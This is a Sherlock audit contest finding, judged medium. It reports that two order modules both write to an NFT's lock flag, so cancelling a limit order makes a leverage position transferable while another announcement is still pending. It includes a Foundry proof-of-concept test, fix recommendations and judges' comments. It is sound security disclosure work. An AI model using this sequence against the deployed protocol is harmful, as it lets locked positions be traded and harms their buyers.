cawfree - Race Condition: Shared write access to `isLocked` allows NFTs with open announcements to become tradeable.

[sherlock-admin2]

cawfree

medium

Race Condition: Shared write access to isLocked allows NFTs with open announcements to become tradeable.

Summary

The LimitOrder and DelayedOrder modules both share competing write access to the isLocked state of a LeverageModule NFT, and rely upon mutually-exclusive sources of truth to decide at what point in time they should gate transferability.

When a caller submits multiple open announcements for a position in parallel, such as one from LimitOrder and another from the DelayedOrder module, the first announcement to terminate will inadvertently leave the affected position in a transferable state, even whilst the competing announcement is still pending finalization.

This undermines a protocol invariant which insists that a LeverageModule position cannot be transferred whilst an active announcement has not been resolved.

Vulnerability Detail

Both the LimitOrder and DelayedOrder modules intend to prevent position tokens from being transferred whilst an announcement intent is in progress:

// Lock the NFT belonging to this position so that it can't be transferred to someone else.
ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).lock(tokenId);

These protections are implemented for a couple of reasons:

1. A pending intent adding supplementary margin to a leverage position could still be executed even after the token was traded on secondary marketplaces, resulting in unintentional loss for the original owner.
2. Trade safety is ensured in that the terms of the underlying collateral cannot be manipulated due to a seller's pre-existing intent after sale has concluded.

However, due to competing writes between LimitOrder and DelayedOrder, these protections can be circumvented:

function test_sherlock_subvertTokenTransfers() public {

    vm.startPrank(alice);

    uint256 stableDeposit = 100e18;
    uint256 collateralPrice = 1000e8;

    announceAndExecuteDeposit({
        traderAccount: alice,
        keeperAccount: keeper,
        depositAmount: stableDeposit,
        oraclePrice: collateralPrice,
        keeperFeeAmount: 0
    });

    uint256 tokenId = announceAndExecuteLeverageOpen({
        traderAccount: alice,
        keeperAccount: keeper,
        margin: 10e18,
        additionalSize: 30e18,
        oraclePrice: collateralPrice,
        keeperFeeAmount: 0
    });

    delayedOrderProxy.announceLeverageAdjust(
        tokenId,
        0 /* marginAdjustment */,
        1e18 /* additionalSizeAdjustment */,
        1e21 /* fillPrice */,
        mockKeeperFee.getKeeperFee()
    );

    vm.expectRevert("ERC721LockableEnumerableUpgradeable: token is locked");
    leverageModProxy.safeTransferFrom(alice, address(0x69), tokenId);

    limitOrderProxy.announceLimitOrder({
        tokenId: tokenId,
        priceLowerThreshold: 1,
        priceUpperThreshold: type(uint256).max - 1
    }) /* unfulfillable */;

    vm.expectRevert("ERC721LockableEnumerableUpgradeable: token is locked");
    leverageModProxy.safeTransferFrom(alice, address(0x69), tokenId);

    // Cancel the order.
    limitOrderProxy.cancelLimitOrder(tokenId);

    // Now the token can be transferred:
    leverageModProxy.safeTransferFrom(alice, address(0x69), tokenId);

    assertEq(leverageModProxy.ownerOf(tokenId), address(0x69));

    vm.stopPrank();

}

Impact

Reduction in trade safety.

Code Snippet

/// @notice Locks the ERC721 token representing the leverage position.
/// @param _tokenId The ERC721 token ID of the leverage position.
function lock(uint256 _tokenId) public onlyAuthorizedModule {
    _lock(_tokenId);
}

/// @notice Unlocks the ERC721 token representing the leverage position.
/// @param tokenId The ERC721 token ID of the leverage position.
function unlock(uint256 tokenId) public onlyAuthorizedModule {
    _unlock(tokenId);
}

Tool used

Foundry

Recommendation

There are a couple of recommendations:

1. For all announcements which result in an unlocked position, ensure the position is not already locked when initially creating the announcement.
2. Use a shared context between all writers to isLocked to ensure cross-contract synchronization.

Duplicate of #48

[sherlock-admin]

2 comment(s) were left on this issue during the judging contest.

karanctf commented:

qa

takarez commented:

valid: nft can be transfered; medium(4)